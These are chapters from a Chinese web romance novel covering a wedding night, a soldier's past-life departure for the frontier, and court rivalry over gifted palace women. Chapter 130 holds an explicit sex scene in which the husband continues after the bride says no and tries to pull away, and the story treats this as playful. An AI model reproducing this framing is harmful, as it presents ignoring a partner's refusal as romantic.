香薷香附见状,连忙把向氏请出去,其余一干仆婢退至外间。
“怎么了——”
姜璎尚未反应过来,就被吻住了唇,温热的触感贴近时,身体不由自主一个激灵,手中的合卺酒差点洒出来。
赵咎低头咬了一下姜璎的唇瓣,不疼,就是把她吓了一跳。
“呀……”
微微张嘴时,他恰好趁机而入,熟稔地撬开门户,勾着软舌一点一点把残留的酒水舔舐干净。
啧啧水声听得人面红耳赤。
姜璎脸蛋滚烫,又腾不出手推他,想说句话,嘴巴还被堵的严严实实。
这、这还没到洞房花烛的时候呀。
她满脸通红,哼哼唧唧,还不敢乱动,生怕动一下手里的合卺酒跟着洒一身。
任人施为的模样,让赵咎心头越发燥热。
“你就招我吧!”他恨恨道。
“……”姜璎一脸茫然,她招他什么了?
姜璎闷声道:“你蛮不讲理。”
赵咎低头又飞快亲了一下她嘴角,“讲理伤感情。好了,你先洗漱,我去外头招待客人,很快回来。”
姜璎被亲的晕乎乎。
“可是我们还没有饮合卺酒。”
“有呀。”
赵咎微微挑眉:“我刚才已经尝过了
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。”
姜璎“啊”了一声,看着他的背影,后知后觉才反应过来。
他的意思是,他在亲她的时候,已经尝过了……
顿时,姜璎脸蛋爆红。
赵咎脚步轻快,神情愉悦。
这怎么不算共饮合卺酒呢?
“九郎。”香薷等人看着赵咎走出来,一副春风得意的模样,忍不住在心中腹诽:果真是人逢喜事精神爽啊!
向氏走进去,见姜璎脸蛋红扑扑,心下一软,只要姑娘喜欢,嫁给赵咎也没什么不好的。
一众仆婢服侍姜璎沐浴更衣。
香薷和香附把姜璎头上的发钗卸除干净,头发散下,又用温水浸湿软巾,轻轻擦去脸上的妆粉。
等喜服簪环除去,姜璎顿觉身体一轻。
向氏心疼坏了,“姑娘累了一天,着实辛苦。”
姜璎笑了一下,着实有些感慨。
换做几个月前,她是万万也不敢想会有这样一场盛大而隆重的昏礼。
没想到,如今倒是什么都有了。
梦寐以求的亲人,怦然心动的郎君,还有……一个温情满满的家。
飘浮不定的蒲公英,终于落地生根。
姜璎披着寝衣往浴室走去,本以为就简单泡个澡,结果一入内,便闻到了一股硫磺味。
“是汤泉?”她诧异道。
“二娘子特意吩咐人从别庄运来的汤泉,说是姑娘累了一天,泡这个正好舒缓舒缓。”向氏道。
皮肤一寸寸浸没汤泉中,紧绷了一天的神经也渐渐舒缓下来。
姜璎趴在木桶边,睡意涌来,仆婢们见状动作越发轻柔,洗完头发以后轻轻擦拭水分。
等到泡的差不多,姜璎在香薷的搀扶下换上干净的寝衣。
喜床上的干果金铜钱已经收拾干净,床单被褥也重新换过,龙凤喜烛静悄悄地烧着。
夜才刚开始。
姜璎趴在柔软的被衾里,香薷把掌心搓热,用精油一点点按摩着姜璎的肩颈后背,直至吸收。
“姑娘,要不要吃点东西?”
“不吃了。”姜璎累了一天,没什么胃口,脸蛋埋在软枕里。
理智告诉她,应该等等赵咎。
但现实却是,上下眼皮打架,打得不可开交。
“九郎。”
赵咎回来了。
他沐浴完毕,身上换了寝衣,仅发尾残留一抹潮湿,杏眸落在姜璎身上,笑意不由自主爬上眼底。
“都下去吧。”
第130章 糯米
仆婢们应喏退下,喜房很快只剩下夫妻二人。
“阿池。”赵咎走到床榻边,摸了摸姜璎的脸颊,“你不等我就睡了?”
语气轻嗔,却是十足的亲昵。
姜璎努力睁开眼,见赵咎坐在床沿,低着头笑盈盈地望着她。
“我睡着了吗?”她揉了揉眼睛,要起身。
寝衣单薄透气,系带松松垮垮,穿在她身上,稍一动作就露出雪白如藕节的手臂。
赵咎喉咙滚了滚,扶住她腰身,将她抱到怀里,坐在自己腿上。
“累不累?”他低头轻轻蹭了一下姜璎的面颊,一股如兰清幽的芬香萦绕鼻间,心跳骤然加快,连带着身体也开始不自觉发热。
这么亲密的姿态令姜璎多少有些不自在,她把脸埋在他脖颈,“不要紧……你要不要吃点东西?”
赵咎闷笑一声,“你这话好像是在邀请我。”
姜璎没听出来,“就是在邀请你呀。”她有点奇怪,“你不饿吗?”
说着凑近一些,几乎面颊相贴,赵咎身体不自觉紧绷一瞬。
她像小动物似的亲近又信任地窝在他怀里,鼻尖与唇畔擦过,微微抽动,闻了又闻。
“有一股淡淡的酒香。”凤眸微微弯起,姜璎忍不住笑,“你是不是喝酒喝饱了呀?让人给你弄碗解酒汤吧?”
“……没有。不用。”
赵咎低头亲了亲姜璎鼻尖,声音微微沙哑,“你饿了的话,我去给你煮碗馎饦怎么样?”
“你亲自下厨?”
“嗯。”
姜璎诧异,很快摇了摇头道:“我也不是很饿,晚上还是不吃东西了。”
“吃吧。”赵咎哄她,眉眼含笑,“不然晚上肚子饿。”
姜璎下意识要说睡着就不饿了,话到嘴边又觉得哪里不对劲。
赵咎眉骨舒展,好整以暇地看着她。
“宝宝,最后再给你一次机会,要是不吃的话——”他蓦地起身,一手托着姜璎后背,一手抄过她双腿,将人抱了个满怀。
姜璎吓得忙抱紧他脖子,赵咎胸口震颤,闷笑道:
“不吃的话,我可要吃了。”
“……”
脸蛋染上红晕。
姜璎这会儿终于读懂了赵咎话里的深意,她僵着身子在他怀里一动不动,好半天,才红着脸,慢吞吞地靠过去。
脸颊相贴,气息交织。
滚烫的温度开始悄无声息蔓延。
浓厚黏腻的爱意将他们裹成一团蚕茧。
密不可分、牢牢牵连。
“那你吃吧。”她小声道,脸蛋通红,像是树上熟透了的柿子,轻轻一戳,就能流出香甜的汁液。
轻软如云的被衾陷进去一块。
床幔散下的那一瞬间,系带随之解开,雪团映入眼帘,宛若雪顶红梅,美不胜收。
“两年前,我陪同大嫂去佛寺进香,看见你跪在刘氏身后,神情严谨,正襟危坐……”
亲吻落在眉心,一路往下。
衣襟随之褪尽,肌肤贴紧。
姜璎气息紊乱,闷哼一声,眼神逐渐迷离,“你、说这些…做什么?”
“听不出来吗?我在跟你算旧账。”赵咎直起身子,居高临下地看着她,“你当时为什么看都不看我一眼?”
姜璎:“……”
为什么还会有人把两年前的事情记得清清楚楚?
赵咎一边问责,一边干活,手指剥开花瓣,轻轻探入花蕊。
像是走在泥泞的小道上,被湿润粘住脚底,进退两难。
“阿池,你当时为什么不看我?”他又问了一遍,声音喑哑,似耿耿于怀许久。
“我……”她抓着他手臂,双目紧闭、神情隐忍,颤抖的嗓音几乎连不成一句话,“慢、慢点…不要进去了…没有不看你,你当时、好冷淡…我只看了一眼…”
赵咎安抚地亲了亲她,重新将人抱到怀里。
花瓣被**的合不拢。
“像芍药。”
“别……”姜璎捂住他的嘴,身上香汗淋漓,轻轻喘息,“别说了,你要吃、就快点吃……”
“你嫌我烦了吗?”赵咎眉眼微垂,姜璎整个人靠在他身上,虽然看不清他表情,但听到这话,还是忍不住心软。
这一心软,彻底羊入虎口。
手指抽出,换成了更深更粗的器具。
床幔里头响起断断续续的泣音,
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伴随粗重的喘息声。
“我去学过了…会很小心的,不会弄疼你。”
——骗人!
姜璎忍不住挠了他几下。
轻微的疼痛简直就是洞房花烛的催化剂。
赵咎扶着姜璎的腰将人往怀里带,哄她张嘴,“亲亲就不疼了。”
——又骗人!
姜璎呜咽一声,莹白如玉的身体覆上一层粉红。
她觉得自己成了一团糯米,被木臼翻来覆去地捣,捣得浑身松软,捣得黏稠拉丝。
很坏的一个人。
姜璎从没发现赵咎还有这样恶劣的一面。
被衾一塌糊涂。
人也一塌糊涂。
“不给吃了、不给吃了…”她摇着头,想要推开,想要爬走,手指刚抓住床幔,就被拉了回去。
赵咎抱着她,边吃边说:“很快了。”
姜璎脑子稀里糊涂,听成了快乐,连忙道:“快乐够了,够了,太多了…我不要…唔…”
赵咎亲着她的唇瓣,很霸道:“我里里外外,上上下下都是你的,不能不要。
“……”
龙凤喜烛乖乖地听着里头的娇吟,燃烧自己,给喜房蒙上一层羞色。
糯米捣得差不多了。
姜璎这次连爬的力气也没了。
“阿池。”
“嗯?”眼皮子又开始打架,她用鼻音应了一声,整个人被抱起来,走到浴室。
热水是先前备下的,这会儿温度正好。
简单洗了一遍,再回到寝室,凌乱的床榻已经收拾干净,被衾换新。
姜璎闻到了阳光的气息,扒拉了一下被衾,小脸一埋,整个人昏沉沉睡去。
“吃完了就把我撇在一边。”赵咎低哼一声,钻到被衾里。
只有一床被褥。
赵咎从后面抱住她,手掌隔着一层寝衣,轻轻抚着平坦小腹。
刚才…应该都弄干净了。
龙凤喜烛默默垂泪,啊对对对。
姜璎睡得不省人事,赵咎抱着她,倒是毫无睡意,从天亮起就一直亢奋到现在,如今软玉在怀,总算有了一点踏实感。
阿池,他的妻子。
他忍不住偷偷亲了一下姜璎耳垂。
第131章 匈奴
“陛下!急报!”
焦急如焚的声音闯进梦境。
内侍满脸苦色,“匈奴屡犯边境,镇守安奉的裴将领拼死血战,已经……牺牲了。”
“什么?!”明惠帝震怒,“秦州太守呢?他是吃干饭的不成!”
“秦州太守在匈奴攻城时,就带着家人仆从连夜逃跑,结果被匈奴人俘获,一家二十四口人,无一存活。”内侍答话。
“他倒是死得利索!那一城百姓呢?”
明惠帝咬牙切齿,“就因为他的**,害死多少人命!”
“陛下息怒。”一众近臣跪坐软垫上,“当务之急,是尽快出兵,援助秦州啊!”
安奉所属秦州,一旦秦州防线出现问题,那大魏可就要遭了!
明惠帝阴着一张俊脸,点兵容易,但领兵作战的人选……朝中武将不多,大部分都死在了十多年前的安奉之战中,如今裴将军又**,剩下的人选里,就只有常山有对付匈奴的经验。
他难道要重用常家吗?
“陛下!常将军曾多次跟匈奴交战,经验丰富,不如由他带兵前往秦州。”一老臣提议道。
其他大臣纷纷附和。
赵咎能感觉到明惠帝往自己这边看了一眼,良久才下口谕,“让常山准备准备,尽快动身出发!”
然而,口谕下达将军府,常山却以旧疾复发、病痛缠身的借口避而不见。
皇城上空仿佛笼罩了一层厚厚的阴霾。
饶是明惠帝这样好脾气的人,听到常山推辞的借口,都忍不住摔了砚台。
“陛下!”先前提议的老臣叹了口气,目光不着痕迹地扫过赵咎,卫国公府如今就只剩下赵言和赵咎两个年轻郎君,虽然明惠帝圣宠不断,但……
谁让他们不走运呢?
偏偏碰上匈奴来犯!
“只怕是赵九郎先前所为,得罪了将军府,才会使得常山心生怨气。”老臣道。
见有人做了出头鸟,剩下的大臣也跟着道:
“陛下,赵咎先前所作所为,确实过分了些,不如让他去常家负荆请罪,好好赔礼道歉。”
“林大人所言有理,赵咎打伤常无忌,是因,如今常山怀恨在心,是果。我大魏百姓,岂能因为两人私怨而死在匈奴人手中?”
“赵九郎,你千不该万不该,为一个女人同常家结怨!”
指责扑面而来。
他们像是找到了残害大魏的罪魁祸首,一个个义愤填膺、愤慨无比。
更有甚者,直接道:“常山就剩常无忌一个嫡子,本来就摔断了腿,前段时间又因为赵咎恶劣行径,变得半死不活,只能躺在床上!”
“依臣看,赵咎就该自断双手,向将军府赔礼道歉!以平息常山夫妻之恨!”
“够了!”明惠帝喝道,脸上浮现怒容,“照你们这么说,他岂不是更恨朕?如今匈奴来犯,朕岂不是还要三拜九叩,求着他去平乱?!”
朝臣闻言,连忙匍匐在地,“臣不敢!”
明惠帝冷冷道:“都给我滚!”
等人全都退下。
明惠帝偏头看向赵咎,面色稍有缓解,温声道:“阿劫,你别理会这些……”
他眼中闪过一丝阴郁。
要不是卫国公,还有赵咨他们都**,这群人怎么敢这么欺负阿劫!
也是他,太无能了……
“小舅。”
“陛下。”
两人同时开口。
赵咎平静如死水的脸上难得露出一丝浅浅的笑容,他轻声道:“湛奴。”
他唤了明惠帝的小名。
“如今大敌当前,不要为了无关紧要的事情耗费精力。”
这怎么算是无关紧要呢?明惠帝心里没说出口,他没能护住赵哲,已是追悔莫及,如今难道就因为要用到常山,还要把小舅送去给他们糟蹋不成?
明惠帝从来没有觉得赵咎带人闯进将军府,是一件多么过分的事情。
常无忌自从瘸腿以后,性情大变,近身伺候的下人有一个算一个,不是被挖了眼睛,成了独眼龙,就是被打断腿,废了手,同他一样沦为残废。
永安侯府的那个养女,能在他手里熬过几个月,也是实属不易。
只可惜,红颜薄命……
明惠帝暗叹一声,他要是早知道赵咎喜欢永安侯府的养女,怎么也不至于让人就这么凄惨死去。
这个常无忌!手中沾染了那么多条人命,本就死有余辜!赵咎为了不让他难做,只把人打个半身不遂,已经够客气了!
常山竟然还有脸心生怨恨!
想到这,明惠帝就气不打一处来。
“陛下。”赵咎静静看着他,“陛下若是信臣,就让臣带兵前往秦州吧。”
他宁愿与匈奴同归于尽,也绝不向常山低头。
“不行!”明惠帝霍然起身,“阿劫,你不要意气用事!我不会让任何人伤害你的!”
“湛奴。”
“你要是去了秦州,赵慎怎么办?”明惠帝道,赵慎就是如今的卫国公,赵咨
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夫妻的长子。
他过了年也才十三,本就少年老成,又突逢家中变故,父母双亡,整个人变得越发寡言少语、冷淡稳重。
赵咎已经很久没有在侄子脸上看见笑容了。
“湛奴,大郎就交给你了。”他轻声道。
他没有护住二郎和三郎,就算为他们报了仇,也挽回不了一切。
但是大郎。
那是他们卫国公府的希望。
赵咎必须要去秦州,打仗是升官晋爵的最快途径,他需要战功来给大郎铺路。
明惠帝定定地看着赵咎,赵咎没有迟疑闪躲。
他们了解彼此。
最终,还是明惠帝垮了肩膀,先一步妥协。
“我册封天水姜氏现任族长姜昀为秦州刺史,同你一起守城。”
“阿劫……小舅。”他郑重道,“你一定要好好的,别留下大郎一个人。”
“不是还有三兄吗?”赵咎笑了一下,他轻轻拍了拍明惠帝的肩膀,“放心吧,我不会死的。”
诏书写好。
交到赵咎手里。
他低头看了许久,忍不住说:“湛奴。”
“如果,我说如果。”
“如果我**,你帮我和姜璎葬在一起,行吗?”
哪怕是衣冠冢。
明惠帝眼眶一下红了,破口大骂道:“你给我滚!”
还没去秦州,就把身后事给想好了。
赵咎笑了笑,起身往外走。
此后,再也未曾踏足皇宫。
外头忽然下起雨来。
哗哗雨声惊醒了熟睡中的人。
赵咎睁开眼,身上汗液黏腻,转头看了一眼身边,姜璎窝在他怀里,呼吸均匀。
心头的荒芜不安被这清浅的呼吸渐渐抚平,残肢断臂的血腥画面也随之从脑海消失。
赵咎轻手轻脚起来,叫了水,冲洗了一遍身子,才重新将人搂到怀里。
“阿池……”他闷闷地喊了一声。
也不知道上辈子他**以后,明惠帝有没有把他跟阿池合葬。
姜璎被吵醒,不太高兴地皱了皱眉,伸出手摸了摸,然后捂住他的嘴。
“不吃了。”她嘟囔道,“真的不吃了。”
“……”
赵咎认真反思了一下。
他不就做了三次。
哪有那么禽兽?!
—
题外话放这里啦,洞房花烛的内容被系统删减了五百字,如果需要完整版,我可以放在围脖!试过图片发评论区,结果发现被吞了…默默流泪
第132章 美人
从后半夜起,淅淅沥沥的雨便再没停过,吧嗒吧嗒的雨滴好似摇篮曲,屋内漆黑一片,姜璎反而睡得愈发香甜。
已经寅时了,向氏等人想要进来轻轻唤醒姜璎,新妇过门的第二日,得早早去给长辈请安,可不好睡过了头。
赵咎听到细微的声响,皱了皱眉,手掌拢住怀里人的耳朵,又压低了声音道:
“出去。”
向氏一愣,心中惊疑不定。
这一会儿天都要亮了,姑爷不会是还想要胡来吧?
香薷香附知道赵咎的脾气,向氏是姜璎的陪嫁,又是服侍过萧晞的老人,赵咎不会罚她,只会处置她们!
生怕牵连自己身上,香薷忙拉了向氏去外头,好声好气哄道:“嬷嬷放心,九郎心疼姑娘呢,想让姑娘多睡会儿,左右时辰还早,梳洗打扮也费不了多少时间,不妨事的。”
姜璎翻了一个身,似乎是嫌热,想要把脚伸出去散散热气。
“怎么了?”赵咎轻轻握住她肩膀,跟了过去,刚拉开的距离又被填满。
“热……”姜璎含糊道。
赵咎摸了摸她后颈,还真有一层薄薄的湿汗,他小心翼翼把人搂到怀里,道:“我今晚让人放几个冰鉴房里。”
姜璎打了个哈欠,“不用那么麻烦,我们一人一床被子就好了。”
睡意散得差不多,身下的异样感也随之明显起来。
姜璎羞赧地并拢双腿,赵咎弄得很干净,除了有些酸胀外,其他倒是没什么。
她没注意到边上人神情一瞬微妙。
像是怕被人听见丢面子,他压低声音,带着三分不满道:“阿池,你是想跟我分床?”
姜璎懵了一下,“没有啊,你听错了,是分被……”
一个被窝太热了。
尤其是后半夜,身边就像是躺着一只火炉,热得姜璎好几次想踢被子。
“分被和分床有什么区别?”赵咎不听解释,幽幽道,“你吃干抹净就开始不认人,是不是我昨晚上表现太差,没有让你满意?”
“没、没有啊。”姜璎结巴了。
昨晚上的表现……
光是回想起来,就忍不住让人面红耳赤。
“没有吗?”赵咎义正严辞道,“我哪里表现不好,你可以直接说,我今晚就改正,改到你满意为止。”
“改、改正?”姜璎傻眼了。
那不是还要再来一二三四次?
吓得她赶忙道:“不用不用!你、你表现得很好!”
“真的不用吗?”赵咎问。
“真的不用!”
“好吧。”听上去语气还有些遗憾。
赵咎微微低头,把脸埋进她脖颈,出了汗都还是香香软软的。
想亲。
想舔。
想快点天黑。
“那我表现这么好,就不要分床了吧?好不好?”赵咎瓮声瓮气道,“要是让下人们知道,新婚第二天你就不肯跟我睡在一起,他们会笑话我的。”
温热的气息洒在脖颈,险些激起一片鸡皮疙瘩。
姜璎忍不住推了推他脑袋,“不是分床,只是一人一床被子……”
“不行。”
都成亲了,还一人一床被子,这像话吗?
赵咎亲了亲她脖子,姜璎顿时浑身宛如电流走过一般,泛起一片酥酥麻麻的感觉。
她呼吸紊乱,脚趾不住蜷缩,抖着声儿道:“一床就一床,别、别亲了。”
赵咎眼底快速掠过一抹得逞笑意。
他昨晚上就发现了姜璎的敏感处。
才一分开,姜璎就退到了最里面,迅速拉开距离。
赵咎挑了挑眉。
姜璎努力严肃,“该起床了。”
她算是怕了赵咎的痴缠秘术,三言两语把人迷的晕头转向。
跟黏在蛛网上的小飞虫似的,任凭怎么挣扎都逃不掉。
最后嚼吧嚼吧进了捕猎者的肚子,被吞吃得干干净净。
“阿媪。”姜璎对外头喊了一声,向氏等人连忙进来,端水的端水,更衣的更衣,一切有条不紊地进行。
赵咎推开了仆婢的伺候,往浴室走去。
他冲了个凉,回来看见姜璎跪坐在琉璃镜前,姿态优美轻盈,但很快,她似乎就意识到了什么,一双凤眸直直望过来,双颊泛红,既羞又恼。
赵咎那句“我给你梳发”到嘴边,十分机警地没有说出口。
琉璃镜是姜昀
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花重金买来的,是姜璎的嫁妆之一,比铜镜清晰许多,可以清清楚楚映出脖子上的点点痕迹。
姜璎气鼓鼓地看着他。
“这个……我就说昨晚上没表现好吧……”某人越说越声音越低,肉眼可见的心虚。
香薷等人低着头憋笑。
向氏咳了一声,面色有些不自在,这个姑爷真是太不像话了!
年轻人,一点儿自制能力都没有。
“姑娘,不生气了,这点印子盖几层珍珠粉上去,旁人就瞧不出来了。”
“我来吧。”赵咎这会儿特别积极,生怕晚上被赶下床打地铺。
他动作不甚熟练,但认错态度却十分诚恳。
姜璎面色微微缓和,小小声地埋怨了一句,“下次不许亲……”
最后几个字含糊得不行。
只有赵咎能听见。
“记住了、记住了。”他应答得飞快,让人发不出一点脾气。
梳洗之后,小两口往前院而去。
天蒙蒙亮,卫国公还未上朝,喝了他们敬的茶,便十分爽快给了见面礼。
经过赵佩雯的事情,卫国公对幼子的态度好转不少,没有再像以前那样横眉冷对,动辄呵斥,“你如今也成家了,行事要更稳重一些,知道吗?”
赵咎扯了扯嘴角,垂眸道:“谨尊父亲教诲。”
卫国公摆了摆手,“和阿池一起,去给你母亲上柱香吧。”
卫国公夫人的牌位供奉在小祠堂。
赵咎牵着姜璎的手往外走。
就在这时,门房急急忙忙过来禀报。
“九郎,宫中来了赏赐!”
赵咎还以为是明惠帝或者赵太后。
要不是微服出巡劳民伤财,明惠帝或许昨晚上真就来了。
“九郎君。”宫中女官一丝不苟,向赵咎微微欠身,面上笑容完美无缺,“还未贺九郎君新婚之喜。”
梁皇后的人。
赵咎有些意外,客客气气道:“不知皇后娘娘有何吩咐?”
女官笑道:“皇后娘娘知道九郎君院子空旷,又素来节俭,特意赏赐几名宫人,服侍二位。”
随着她话音落地,六名容色清丽的宫人走了出来。
第133章 皇后
椒房宫。
梁皇后用过朝食,在宫人的伺候下更衣前往书房,她喜好书法,每日都会抽出两个时辰来练字。
内侍进来时,梁皇后的贴身女官正低着头为她磨墨,价格昂贵的子邑纸写废一张又一张,看得内侍不免心疼起来。
这可都是钱呐!
梁皇后搁了笔,边上贴身伺候的宫人奉上温水帕子,梁皇后净手擦干后,抿了口茶水。
磨墨女官奉承道:“娘娘的字越发进益了。”
梁皇后淡淡一笑,看了眼纸上的字。
【女有四行:一曰妇德,二曰妇言,三曰妇容,四曰妇功。】
梁皇后并未将女官的奉承当真,她的字不过勉强能看,至多得一句“端正秀气”的夸赞。
今日因为情致不佳的原因,落笔多了一份浮躁,写了十几张,也就最后这张还算过得去。
哪里称得上“进益”二字?
“若论书法,姜使君才是当世大家。”梁皇后轻叹一声,细致柔美的面庞似笼上一层轻愁,只可惜姜昀的墨宝从不轻易赠人。
女官小心翼翼道:“娘娘既然如此敬重姜使君,为何还要赐下美人?”
这不是故意让姜璎和天水姜氏难堪吗?
如今整个盛京谁还不知道,姜璎乃天水姜氏遗失多年的嫡长女,是姜昀掌中之明珠!
梁皇**宫也有四年了,一向恭谨柔顺、恪守本分,除了在某些人和事上犯糊涂,其他真是完美的挑不出一点错,就是赵太后都十分满意这个儿媳。
所以哪怕她椒房专宠,未有身孕,赵太后也没有给儿子送女人。
女官生怕梁皇后今天的举动惹怒赵咎。
虽说君臣在先,亲戚在后,但赵咎他不一样啊!
赵太后、明惠帝,哪个不把他当宝贝疙瘩疼爱?
梁皇后一向与世无争,今日何必多此一举让惹得多方不痛快?
女官的劝诫并未让梁皇后动摇半分,她偏头看向内侍,声音轻柔优美,如玉珠落地。
“今日去赵家还顺利吗?”
“很顺利。”内侍恭声道,“姜女君不愧是天水姜氏之女,恭恭敬敬收下了娘娘所赐的美人,让奴婢代她谢恩,倒是赵九郎……”
话音迟疑。
梁皇后了然一笑,“他不高兴了吧?”
内侍讪讪一笑,没说同他一起前去的女官被赵咎面色吓得崴了脚。
“他可是大魏公侯嫡幼子,太后娘娘当儿子一样疼爱的弟弟,陛下的左膀右臂!”
梁皇后眼底浮现淡淡的讥讽,“这样的高门郎君,自生下来便是顺风顺水,又怎么可能没有脾气?”
近身伺候的宫人纷纷垂眸,不敢说话。
梁皇后脾气和善,性情柔顺,可以说是梁家的一朵奇葩。就连赵太后都私下感慨,说梁家所有的精华全都集中在了她一个人身上。
然而,梁皇后生气的时候十分吓人,就连陛下都不敢招惹,时常低声下气地哄着。
贴身女官正要说话,外头进来一个宫人,“娘娘,陛下来了。”
梁皇后哼笑道:“看吧,来算账了。”
她捡起书案上的子邑纸,一点一点撕碎,方才慢条斯理起身。
写不好的字,就该毁得干干净净。
明惠帝得到消息,一下朝就往椒房宫走去。
他强忍着怒火,阿劫新婚,本是大喜,她倒好,直接就是赏赐六个美人!
姜昀会不会生气**,但是阿劫,他没有直接把人轰出去,完全就是看在明惠帝的面子上!
这样一想,明惠帝都觉得赵咎受了莫大的委屈。
“阿泽!”
“拜见陛下!”一众宫人齐齐跪地行礼。
梁皇后小名阿泽,看见明惠帝驾到,起身行礼,“臣妾拜见陛下——”
“都下去吧!”明惠帝压着火气,看也不看边上的宫人,他对妻子爱重有加,自然不会让她在宫人面前失了颜面。
等内殿只剩下他们二人,明惠帝才忍无可忍问:“阿劫成亲,你好端端的送什么人?你知不知道,他好不容易才夙愿得偿,娶到姜小娘子?”
“我也想问问陛下,为何要赐婚六郎,让他娶那么一个声名狼藉的女人?”
梁皇后与常三郎青梅竹马,要不是先帝强插一脚,两家都快要定亲了。
梁皇
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后一直觉得亏欠常三郎,对常六郎更是爱屋及乌。
她冷冷道:“若说先前六郎带人闯进卫国公府是有错在先,那他也已经受到惩罚!赵九郎下手,可没有半分留情,险些就要了他的命!”
“难道这样还不够?非要糟践他,糟践整个将军府,赵九郎才肯罢休?”
明惠帝皱了皱眉,耐着性子同她讲道理。
“什么叫糟践?常无忌对姜宝瑜情根深种,一直心心念念,他当初要娶的人就是姜宝瑜,如今得偿所愿,不是挺好的吗?”
“挺好的?”梁皇后冷笑一声,他赵咎自己娶天水姜氏嫡长女,却让六郎娶姜宝瑜,到底是何居心?
“那姜宝瑜是什么人,难道陛下不清楚吗?年纪轻轻就如此歹毒,六郎性情单纯,被她蒙蔽双眼,才会心心念念,他不懂事,陛下也跟着不懂事?”
“阿泽!”明惠帝沉下脸,每次都是这样,为了常家同他争吵。
一忍再忍,反而换来的却是得寸进尺。
明惠帝有些失望道:“我看你才是被常无忌蒙蔽了双眼。”
性情单纯?
常无忌自从摔断腿,虐杀了多少下人?好些因为剜眼、断腿断腿而熬不过去的,一卷草席裹了丢去乱葬岗。
姜宝瑜歹毒,也不过是对自己看不顺眼的人下毒手。
常无忌是除了他以外的人都该死!
梁皇后觉得姜宝瑜玷污了常无忌,他还觉得姜宝瑜罪不致死呢!
夫妻俩关起门来吵了一架。
最后还是明惠帝先服软,他实在不想因为一个外人,让妻子不痛快。
“我答应你,日后有机会,给常无忌选一个出身高贵的妻子。”
——才怪。
他让阿劫弄死常六!
梁皇后冷着脸推开明惠帝的手,谁知道日后是什么时候。
说这么多,还不是想让她把赐下去的宫人收回来。
“赵九郎是陛下的舅舅,亦是臣妾的舅舅,外甥媳妇孝敬孝敬舅舅,理所应当不是吗。”
“你……”明惠帝顿时语塞。
这哪里是孝敬。
分明是想把赵咎气个半死!
第134章 定金
赵家。
随着女官话音落地,赵咎脸上笑意荡然无存,眼神森冷彻骨,面无表情的样子,让人不禁后背发凉、毛骨悚然。
女官心里发虚,但脸上笑容依旧不变,提醒道:“这可是皇后娘娘的一番好意。”
皇后娘娘赏赐,那是给赵咎面子。
卫国公世子都没摆国舅爷的架子,他一介白身,难道还能比皇后娘娘更尊贵不成?
姜璎拉了一下赵咎的袖子,抢先道:“皇后娘娘好意,我们夫妻二人感激不尽,今日有劳方女官跑一趟,辛苦了。”
向氏眼神流露一丝欣慰,不过就是几个宫人,无名无份!姑娘要是真因为她们闹脾气,那才叫失了颜面风度呢!
她从袖中取出一个荷包,笑道:“小小心意,还请方女官不要嫌弃。”
方女官收到了袖子里,分量不轻,她脸上的笑容也跟着真心实意起来。
梁皇后只是看赵咎不顺眼,跟姜璎可没有什么仇怨。她能这么识趣儿是再好不过了。
“站住。”
赵咎冷冷道:“皇后娘娘好意,我实在受之有愧,方女官还是把人带回去吧。”
“皇后娘娘也是关心九郎君……”方女官讪笑着。
被直接打断。
“我说带回去。”赵咎面色平静,然而周身气压骤降,一字一顿,像山雨欲来。
“听不懂人话吗?”
“……”
方女官神情僵硬,想说什么又碍于赵咎威势,嗫嚅着唇,好半天没吐出一句利索话。
最后还是姜璎打破僵局。
“赵咎。”
她上前一步,朝方女官微笑颔首,“九郎说笑呢,您别放在心上。阿媪,送送方女官。”
向氏笑容得体,做了个请的动作。
然而,不知道是不是被赵咎吓坏了,方女官勉强笑了笑,转身时却一个踉跄崴了脚,险些摔个狗吃屎!
向氏连忙搀扶了一把,示意下人扶着送出去。
好歹还是梁皇后身边的女官,就这点出息,向氏眼底一闪而过不屑。
姜璎没有理会那六个宫人,只吩咐香薷先将她们安置在蓼莪院的客房。
“好了,别生气了,我们去给阿娘上香。”她轻轻碰了一下赵咎胳膊,被他反手握在掌心。
“她不是针对你……”赵咎眉眼藏着一抹烦躁,想要澄清,又不知道该从何处说起。
结果姜璎一句“我知道啊”。
把他噎得不上不下,神情难得呆滞。
“你知道?!”语气不可思议。
“对呀。”两个人在外头牵手,她还有些不好意思,轻声答道,“出嫁前,姨母跟我说过一些情况。”
她跟梁皇后素未谋面、无冤无仇,想来能让她赐下六名宫人的,也只有赵咎了。
常梁两家渊源颇深,这些萧止柔都掰碎了一点一点说给姜璎听,唯恐她吃亏。
先前帝后就因为赵咎把常无忌掐个半死,而吵了一架,梁皇后觉得赵咎太小心眼,无忌不过就是闯进卫国公府,又没犯下大错,却被他险些掐死。
明惠帝冷笑不已,擅闯国公府,这叫“没犯下大错”?
照这么说来,常无忌哪天擅闯皇宫,都只是一时糊涂!
两人没吵几句,梁皇后就控制不住红了眼眶,泪水跟断了线的珍珠一样,从面颊滚落。
“如果、如果不是……三郎不会冲到前线,他要是没死,常家也就不至于只剩下六郎一个儿子!”
这是她欠常家的!
每每提到此事,明惠帝就哑口无言,心头涌上一股难以言说的无力。
她欠常家,就要纵容常无忌肆意妄为吗?
哪怕明惠帝心知肚明妻子对常三郎不过是青梅竹马兄妹之情,可想起时依旧如鲠在喉!
她明明不是那种是非不分的人,就连自己亲爹暗戳戳怂恿她吹枕边风,提携家中父兄,她都照样言辞犀利拒绝。
为什么到常无忌身上,就这么糊涂呢?
大外甥的苦水无人倾诉,也就只有赵咎和刑如风愿意听他发牢骚。
一人一口酒,还没伶仃大醉,就被刑如风眼疾手快灌了醒酒汤。
然而,该发的酒疯怎么都躲不过去。
两朵阴郁蘑菇蹲在角落。
一个长吁短叹,不懂皇后为什么一碰上常家就犯糊涂。
一个自言自语,为小娘子的若即若离、死不开窍而气闷于胸。
最后,两人抓着刑如风的官袍。
跟拔河似的。
刑如风差点被他俩撕成两半。
“干什么!干什么!男男授受不亲知不知道?!”趁着他俩都醉了,刑如风狂扇巴掌,把左右两边的爪子打得通红。
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这俩死犟种!
打红了都不肯松手!
他裤衩子都快被他们扒下来了!
“她是不是骗我?她其实喜欢的一直都是常三郎!”明惠帝哽咽道。
刑如风敷衍哄道:“不会的,皇后娘娘只喜欢你一个。”
右边这个狗又开始掉眼泪。
“她为什么不爱我?我到底哪里做错了?就算做错了,也是可以改的……她眼里没我,心里也没我。”
刑如风连忙道:“诶,姜小娘子心里有你的!把你当恩公呢!”
话说完,眼泪掉的更凶了。
明惠帝喃喃道:“恩公也好啊,至少没有什么青梅竹马。”
